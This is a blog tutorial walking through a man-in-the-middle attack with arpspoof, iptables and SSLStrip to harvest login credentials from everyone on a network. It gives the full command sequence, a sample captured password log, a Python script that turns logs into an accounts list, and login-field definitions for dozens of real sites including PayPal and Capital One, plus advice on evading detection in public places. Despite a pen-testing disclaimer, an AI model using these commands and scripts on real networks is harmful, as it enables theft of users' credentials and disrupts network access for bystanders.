Hackers Chronicle - Online Cyber Security News: MITM

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio0fP96Sa_SDlnNGs01bCFKC-jkWMGLdC3wZzmuVZJTgreU0IiF2WeE47KpGOtl-gaoNPLNvC7IfUoRUDU-mKiTcAELZmdCxZVhDoeiZ9VabYBKJfTHREkMVbsl1au98e7QXGmsOA7xJGR/s1600/arp+poisoning.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio0fP96Sa_SDlnNGs01bCFKC-jkWMGLdC3wZzmuVZJTgreU0IiF2WeE47KpGOtl-gaoNPLNvC7IfUoRUDU-mKiTcAELZmdCxZVhDoeiZ9VabYBKJfTHREkMVbsl1au98e7QXGmsOA7xJGR/s640/arp+poisoning.jpg" width="472" /></a></div>
<br />
<br />
<div class="postbody">
<div class="postrow">
<br />
<div style="margin: 0px; padding: 0px;">
<div id="post_message_12962" style="margin: 0px; padding: 0px;">
Greetings, ladies and gentlemen. Today we'll be learning about a couple of interesting tools and how they can be used to steal data from network users. Specifically, we'll be going after login credentials to various secure sites, such as facebook and capital-one (the credit-card company).<br />
<br />
<span style="color: red;">NOTE: This tutorial is intended to instruct current and up-and-coming pen-testers on methods that can be used to determine security on specific networks which they have permission to attack. Executing this attack without permission is illegal, and I do not personally condone such behavior.</span><br />
<br />
<br />
There is a video that tells you how this attack works, for those of you too impatient to sit and read, but this tutorial will include more specific information which the video does not reveal, as well as a script specifically written to make life simpler when executing this attack.<br />
<br />
The video can be found here: <a href="http://www.hak5.org/hack/strip-out-ssl-security-with-a-man-in-the-middle-attack" style="color: #417394; text-decoration: none;" target="_blank">Hak5 SSLStrip Tutorial</a><br />
<br />
Go ahead, view the video. The rest of the class will wait here patiently until you return.<br />
<br />
...<br />
<br />
Did you watch it? Good. Now let's learn more about it.<br />
<br />
In today's lesson we're going to need the following tools:<br />
<ul style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">A Linux OS (<a href="http://www.backtrack-linux.org/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">Arpspoof (<a href="http://arpspoof.sourceforge.net/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">IPTables (<a href="http://www.netfilter.org/projects/iptables/index.html" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">SSLStrip (<a href="http://www.thoughtcrime.org/software/sslstrip/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">Netstat (<a href="http://www.netstat.net/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
</ul>
Each of these requirements might have other requirements of its own, however you can find ALL of these tools (and many more) preinstalled in the BackTrack Linux Distribution (see the link next to "A Linux OS" above).<br />
<br />
So, if you don't have it yet, I highly suggest you go download BackTrack now. Yes, now. Go ahead.<br />
<br />
...<br />
<br />
Got it? Good.<br />
<br />
Now, on to business.<br />
<br />
What we're going to do today is perform a basic Man-In-The-Middle (MITM) attack on the users of our unsuspecting Target Network.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>What is a Man-In-The-Middle attack?</b></span></span><br />
<br />
I'm glad you asked. Here's a definition from our trusty friend, Wikipedia:<br />
<br />
"In cryptography, a man-in-the-middle attack ... is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker."<br />
<br />
In layman's terms, a MITM attack places the attacker between two unsuspecting targets, allowing him or her to intercept their communications.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>So how does one perform one of these attacks?</b></span></span><br />
<br />
Good question. There are many ways of performing man-in-the-middle attacks, especially on computer networks. Today we're going to focus on one called "ARP Spoofing" or "ARP Cache Poisoning."<br />
<br />
To understand how this works, I'll give you a little bit of background.<br />
<br />
<b>ARP Spoofing</b> takes advantage of vulnerabilities in the <b>Address Resolution Protocol</b>. This protocol (ARP) basically helps systems on a network determine what IPs are associated with what MAC addresses.<br />
<br />
When a computer connects to a network, it needs certain information to allow it to get online. For example, it needs to know the IP of the gateway, where it will route all traffic. But knowing an IP is worthless unless you have a MAC address you can link it to. Without a MAC, an IP is simply a number, and systems won't know which interface or which system to communicate with.<br />
<br />
So, for example, let's say you hook your computer to the local wifi. Here's what happens:<br />
<br />
<ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer will connect to the network, then will ask for the default gateway's MAC address via ARP. (Hi, I'm new here, who owns this place?)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The router will see the ARP request, and send its MAC address. (Hey! I'm the router. Anything you need, you come to me first.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The computer will assign that MAC to the router's IP, and will continue on its merry way.</li>
</ol>
<br />
Thing is, systems don't just ask for the MAC once -- sometimes errors happen, sometimes routing tables change, so it is necessary to occasionally update the ARP tables to make sure they're up-to-date.<br />
<br />
ARP Spoofing allows us to take advantage of this. Here's how that works:<br />
<br />
<ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer asks for the MAC for the gateway. (Hey, haven't seen router around, anyone know where he is? Just want to make sure he's still here.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The attacker will step in and claim to be the router. (Hi! I'm the new owner, you can talk to me.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer will blindly accept this claim! (Oh, cool! Nice to meet you!)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Meanwhile, when the real router shows up, the attacker's system will pretend to be your computer. (Hey! How's it going? So-and-so asked me to take his place, so if you don't mind, you can talk through me.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The router will also blindly accept this claim. (Cool, cool. Let him know I said hi!)</li>
</ol>
<br />
At this point, the attacker's computer has tricked the victim into thinking that it is actually the router, and has tricked the router into thinking it is the victim! So now, when the victim and router decide to talk, they end up speaking with you instead, allowing you to know everything they're saying (and change it up).<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>So how do I become the man-in-the-middle?</b></span></span><br />
<br />
I'm getting to that! Be patient!<br />
<br />
So in order to use ARP poisoning to become the MITM, you would need to perform the following steps:<br />
<br />
<ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Set up port-forwarding on your Linux box. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">echo '1' > /proc/sys/net/ipv4/ip_forward</pre>
</div>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">This tells your computer to forward any packets that weren't intended for your machine.</li>
</ol>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Find out which system on your network is the gateway (e.g. router). <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">netstat -nr</pre>
</div>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">This will inform you about which IP belongs to the gateway. Usually it's something like 192.168.1.1.</li>
</ol>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Use ARP Spoof to put yourself between the router and all other systems on the network. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">arpspoof -i wlan0 192.168.1.1</pre>
</div>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">You will need to change "wlan0" to reference whatever device is currently connected to the network -- usually eth0 or wlan0.</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">You will need to change "192.168.1.1" to the IP of the gateway through which your system connects. (See step 2.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">If you watched the Hak5 video above, you'll notice that we didn't define a target via the "-t" option. In the Hak5 video, they were attacking a specific target. In THIS tutorial, we're attacking the entire network.</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><span style="color: red;"><b>NOTE: Under heavy loads, using arpspoof on an entire network can cause the network to crash, making the internet unavailable to all users. This makes it pretty obvious that something is up, and sysadmins will be doing what they can to fix the problem. Should this ever occur, stop the arpspoof process using 'ctrl-c' and wait a moment. The network should start working again, once the router informs everyone of its MAC. Then you can start your attack again, if you're so bold. (If you're worried about being caught, e.g. in a library or public place, just pretend like you're having trouble too and most people will ignore you.)</b></span></li>
</ol>
</li>
</ol>
Having executed these steps, you will begin to see ARP Spoof actively rerouting all traffic through your system. You have now successfully become the Man in the Middle!<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>But how do I take advantage of this position?</b></span></span><br />
<br />
Well, from this point, we can easily use tools like <a href="http://www.wireshark.org/" style="color: #417394; text-decoration: none;" target="_blank">wireshark</a> to sniff all network traffic and see what everyone's up to. Or we can reconfigure our firewall setup to deny access to specific IPs, effectively booting them off the network. Or we could use tools like <a href="http://www.inguardians.com/tools/" style="color: #417394; text-decoration: none;" target="_blank">the middler</a> to actively change the traffic going through the network!<br />
<br />
But we're not going to talk about those tools today -- that would be another tutorial altogether. Today we're going to learn how to use a fun tool called SSL Strip to steal login credentials from users.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>What is SSL Strip?</b></span></span><br />
<br />
SSL Strip is a tool written by <a href="http://www.thoughtcrime.org/" style="color: #417394; text-decoration: none;" target="_blank">Moxie Marlinspike</a> and released at Black Hat DC 2009. It basically reroutes encrypted HTTPS requests from network users to plaintext HTTP requests, effectively sniffing all credentials passed along the network via SSL. The way it does this is it lets users connect via HTTP, logs their information, then redirects their connection to the originally-intended HTTPS server on the internet.<br />
<br />
This all happens on the fly, and is practically invisible to users. The only way to notice is by checking the URL in the address bar: where normally it would display HTTPS, it will now display HTTP instead. (But on some sites, like Facebook, Myspace, and many others, the URL will never display HTTPS, so this attack will be impossible to detect by simply checking the URL.)<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>So how do we execute this attack?</b></span></span><br />
<br />
Here's how:<br />
<br />
<ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">First things first -- we need to set up a firewall rule (via iptables) to redirect requests from port 80 to port 8080 -- this will ensure that our outgoing connections (from SSL Strip) get routed to the proper port. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080</pre>
</div>
</li>
</ol>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Now that we've got our firewall setup, we need to execute the MITM instructions listed earlier. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 48px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">echo '1' > /proc/sys/net/ipv4/ip_forward arpspoof -i wlan0 192.168.1.1</pre>
</div>
</li>
</ol>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Once arpspoof starts running, open a new terminal and start SSL Strip. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">sslstrip -k -l 8080</pre>
</div>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The "-k" designator tells the system to kill all currently active sessions, forcing users to re-login to their websites.</li>
</ol>
</li>
</ol>
Now that we've started our MITM attack and got SSL Strip actively intercepting packets, all we have to do is sit and wait. SSL Strip will run as long as you want it to, and it will log all captured information in a file called sslstrip.log.<br />
<br />
If you want to watch this file as it grows, you can use the 'tail' command. This is a fun tool that helps you watch logfiles as they're modified in real-time.<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">tail -f sslstrip.log</pre>
</div>
The "-f" modifier tells tail to follow the file until you tell it to stop.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>Sweet! I've intercepted lots of traffic! Now what?</b></span></span><br />
<br />
Once you're done with your attack, use the <b>ctrl-c</b> key combination to kill the 'tail,' 'sslstrip,' and 'arpspoof' processes. The sslstrip.log file will remain, and the system will stop being the MITM.<br />
<br />
<span style="color: red;"><b>NOTE: As soon as the arpspoof process is ended, the network will go down temporarily. This is because arpspoof doesn't automatically repopulate ARP tables with the router's proper MAC, so systems are left in the dark until the router gets around to telling everyone its address. This problem shouldn't last long, but it happens to ALL systems on the network -- so it's best to play along (as if you're having trouble too). Immediately fleeing the premises is a pretty obvious clue that you had something to do with the outage.</b></span><br />
<br />
After shutting down all processes and disconnecting from the network, you can safely go home and analyze the logfile you've made. It might look like a bunch of gobbledygook:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 48px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">2010-06-27 20:38:24,482 SECURE POST Data (<a href="http://login.facebook.com/">login.facebook.com</a>): charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&email=user%<a href="http://40email.com/">40email.com</a>&pass=password&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=H2cF2</pre>
</div>
But if you look closely, you'll notice that the username and password used to log into the site are there, plain as day!<br />
<br />
Of course, it's not easy parsing through huge files full of this kind of garbage, and often times we encounter sites we don't need to see.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>What can we do about this problem?</b></span></span><br />
<br />
Well lucky for you, I've already written a tool specifically to parse the sslstrip.log files! Here's the source code (it's in python):<br />
<br />
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<div class="program glow">
<pre><code class="prettyprint">
#!/usr/bin/env python  
##################### # ParseLog.py # # By <a href="mailto:z3ros3c@gmail.com">z3ros3c@gmail.com</a> #####################  """ This file parses the sslstrip.log created by     sslstrip for usernames and passwords (and other     interesting information) defined in the file     resources/definitions.sslstrip. It will also     give you a complete list of all unknown information,     with the exception of anything listed in the file     resources/blacklist.sslstrip. """  from urllib import unquote  
getIP = lambda origin: origin[origin.find('(')+1:origin.find(')')]  blacklist = [] accounts = [] definitions = {}  def getDefs(defs):   d = {}   for definition in defs:     tmp = definition.split('|')     a = tmp.pop(0)     b = tmp.pop()     if('\n' in b):       b = b[:-1]     tmp.append(b)     d[a] = tmp[:]   return d  def getAllVars(line):   while('&&' in line):     line = line.replace('&&','&')   vars = {}   tmp = line.split('&')   for var in tmp:     try:       (a,b) = var.split('=')       if('$' in unquote(a)):         a = unquote(a).split('$').pop()       if('\n' in unquote(b)):         b = unquote(b)[:-1]       vars[unquote(a)] = unquote(b)     except:       pass   return vars  def process(origin,line):   origin = getIP(origin)   if(origin not in blacklist):     vars = getAllVars(line)     if(origin in definitions):       definition = definitions[origin][:]       name = definition.pop(0)       account = "(%s) " % name       for variable in definition:         try:           v = vars[variable]         except:           v = 'UNDEFINED'         account += "%s = %s :: " % (variable,v)       if('UNDEFINED' not in account):         if(account not in accounts):           accounts.append(account)           account += "**NEW**"         print(account)     else:       print("Unknown:\t%s" % origin)       for var in vars:         if(vars[var] != ""):           print("\t%s:\t%s" % (var,vars[var])) try:   lines = open('sslstrip.log','r').readlines() except:   lines = [] try:   blacklist = open('resources/blacklist.sslstrip','r').read().split('\n') except:   print("--blacklist not defined--") try:   accounts = open('accounts.txt','r').read().split('\n') except:   pass try:   definitions = getDefs(open('resources/definitions.sslstrip','r').readlines()) except:   pass  try:   line = lines.pop(0)   while(1):     while('POST' not in line):       try:         line = lines.pop(0)       except:         break     process(line,lines.pop(0))     try:       line = lines.pop(0)     except:       break except:   print("Empty logfile.")  output = open('accounts.txt','w') accounts.sort() for account in accounts:   if(account != ''):     output.write(account + '\n')</code></pre>
</div>
</div>
</div>
</div>
</div>
This script uses a definitions file and a blacklist file (named "definitions.sslstrip" and "blacklist.sslstrip" respectively) to weed out the information you need.<br />
<br />
These files are stored in a subdirectory called "resources".<br />
<br />
Here's what they look like:<br />
(resources/blacklist.sslstrip)<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 156px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;"><a href="http://sup.live.com/">sup.live.com</a> <a href="http://svcs.ebay.com/">svcs.ebay.com</a> <a href="http://toolbar.zynga.com/">toolbar.zynga.com</a> <a href="http://touch.facebook.com/">touch.facebook.com</a> <a href="http://urlcheck.hulu.com/">urlcheck.hulu.com</a> <a href="http://uts.amazon.com/">uts.amazon.com</a> <a href="http://webmail.aol.com/">webmail.aol.com</a> <a href="http://www.adotube.com/">http://www.adotube.com/</a> <a href="http://www.facebook.com/">http://www.facebook.com/</a> <a href="http://www.overstock.com/">http://www.overstock.com/</a> <a href="http://www.slideshare.net/">http://www.slideshare.net/</a></pre>
</div>
Simply add each URL that you wish to ignore, and it'll prevent the script from parsing those URLs.<br />
<br />
(resources/definitions.sslstrip)<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 372px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;"><a href="http://accounts.craigslist.org/">accounts.craigslist.org</a>|CraigsList|inputEmailHandle|inputPassword <a href="http://digg.com/">digg.com</a>|Digg|username|password <a href="http://en.wikipedia.org/">en.wikipedia.org</a>|Wikipedia|wpName|wpPassword <a href="http://en.wordpress.com/">en.wordpress.com</a>|WordPress|log|pwd <a href="http://hi5.com/">hi5.com</a>|Hi5|email|password <a href="http://imgur.com/">imgur.com</a>|Imgur|username|password <a href="http://login.aeriagames.com/">login.aeriagames.com</a>|AeriaGames|edit[name]|edit[pass] <a href="http://login.capitalone.com/">login.capitalone.com</a>|Capital One|user|password <a href="http://login.facebook.com/">login.facebook.com</a>|Facebook|email|pass <a href="http://login.live.com/">login.live.com</a>|Microsoft Live|login|passwd <a href="http://login.photobucket.com/">login.photobucket.com</a>|PhotoBucket|loginForm[usernameemail]|loginForm[password] <a href="http://login.skype.com/">login.skype.com</a>|Skype|username|password <a href="http://login.yahoo.com/">login.yahoo.com</a>|Yahoo!|login|passwd <a href="http://my.screenname.aol.com/">my.screenname.aol.com</a>|AIM|loginId|password <a href="http://my.t-mobile.com/">my.t-mobile.com</a>|T-Mobile|txtMSISDN|txtPassword <a href="http://mysprint.sprint.com/">mysprint.sprint.com</a>|Sprint|USER|PASSWORD <a href="http://secure.imdb.com/">secure.imdb.com</a>|IMDB|login|password <a href="http://secure.imvu.com/">secure.imvu.com</a>|IMVU|avatarname|password <a href="http://secure.meetup.com/">secure.meetup.com</a>|MeetUp|email|password <a href="http://secure.myspace.com/">secure.myspace.com</a>|Myspace|Email_Textbox|Password_Textbox <a href="http://signin.ebay.com/">signin.ebay.com</a>|Ebay|userid|pass <a href="http://slashdot.org/">slashdot.org</a>|Slashdot|unickname|upasswd <a href="http://twitter.com/">twitter.com</a>|Twitter|session[username_or_email]|session[password] <a href="http://us.battle.net/">us.battle.net</a>|BattleNet|accountName|password <a href="http://www.amazon.com/">http://www.amazon.com/</a>|Amazon|email|password <a href="http://www.blogger.com/">http://www.blogger.com/</a>|Blogger|Email|Passwd <a href="http://www.charter.com/">http://www.charter.com/</a>|Charter.com|txtMyAcctV3UserName|txtMyAcctV3Pass|txtHorWideZipCodeV3 <a href="http://www.demonoid.com/">http://www.demonoid.com/</a>|Demonoid|nickname|password <a href="http://www.deviantart.com/">http://www.deviantart.com/</a>|DeviantArt|username|password <a href="http://www.formspring.me/">http://www.formspring.me/</a>|FormSpring|username|password <a href="http://www.friendster.com/">http://www.friendster.com/</a>|Friendster|email|password <a href="http://www.google.com/">http://www.google.com/</a>|Google|Email|Passwd <a href="http://www.linkedin.com/">http://www.linkedin.com/</a>|LinkedIn|session_key|session_password <a href="http://www.mininova.org/">http://www.mininova.org/</a>|MiniNova|name|password <a href="http://www.netflix.com/">http://www.netflix.com/</a>|NetFlix|email|password1 <a href="http://www.paypal.com/">http://www.paypal.com/</a>|PayPal|login_email|login_password <a href="http://www.progressive.com/">http://www.progressive.com/</a>|Progressive|user1|PWDpassword1 <a href="http://www.reddit.com/">http://www.reddit.com/</a>|Reddit|user|passwd <a href="http://www.stumbleupon.com/">http://www.stumbleupon.com/</a>|StumbleUpon|username|password</pre>
</div>
As you can see, each definition is listed in the following manner:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">URL|Name Of Site|username_variable|password_variable|other_variables</pre>
</div>
It's relatively easy to add new definitions as you discover them!<br />
<br />
Once you've got these files set up, all you have to do is put the sslstrip.log file in the same directory as the parselog.py script, then run it.<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">parselog.py | less</pre>
</div>
(I pipe the output to the 'less' so that I can parse the resulting output easier.)<br />
<br />
You'll see output similar to the following:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">(Facebook) email = <a href="mailto:user@email.com">user@email.com</a> :: pass = password :: **NEW**</pre>
</div>
The script will print all discovered logins (marking new logins as **NEW**) as well as all unknown URLs found. These unknown URLs can be used to help you define new entries for the 'definitions.sslstrip' list.<br />
<br />
All accounts found will be added to a file called 'accounts.txt' for your viewing pleasure, arranged alphabetically by the website they belong to.<br />
<br />
And that's that!<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>What can I do to prevent this attack from hurting me?</b></span></span><br />
<br />
There's not a whole lot you can do, though there are some defenses outlined <a href="http://en.wikipedia.org/wiki/ARP_spoofing#Defenses" style="color: #417394; text-decoration: none;" target="_blank">here</a>.<br />
<br />
My suggestion is this: If you're ever on a public network, or if your personal wifi is unsecured, don't use that network to log into any of your personal accounts, unless you've got another defense in place.<br />
<br />
One fun trick is to use SSH tunneling to route your traffic. If you've got an account on a secure box out in the internet somewhere (for example, a linux system hosted on the cloud), you can create a SSH tunnel to that box and route your traffic through the tunnel. That way, no matter who is listening in on your connection, all traffic is encrypted and there's little they can do to intercept it.<br />
<br />
Of course, SSH tunneling is a different tutorial for a different day.<br />
<br />
Well, class, I hope this tutorial has been informational and fun for all involved! Take care, and happy hacking!<br />
<div style="color: red;">
<br /></div>
<div>
<span style="color: red;">Note:</span> <a href="http://windowsecurity.com/articles/Understanding-Man-in-the-Middle-Attacks-ARP-Part1.html" target="_blank">For further reading</a>.<br />
        <a href="http://securitymusings.com/article/752/sniffing-networks-part-1-8023-and-mac-addresses" target="_blank">Some extra info abt MITM</a> </div>
</div>

ARP Spoof Hacking Hacking Tutorials MITM SSL Strip Tutorials Stealing Credentials via MITM Attacks -- ARPSpoof + SSLStrip + IPTables

Greetings, ladies and gentlemen. Today we'll be learning about a couple of interesting tools and how they can be used to steal...

Perl Script for SSLStrip MITM Attack

Stealing Credentials via MITM Attacks -- ARPSpoof + SSLStrip + IPTables

Popular

Comments

Archive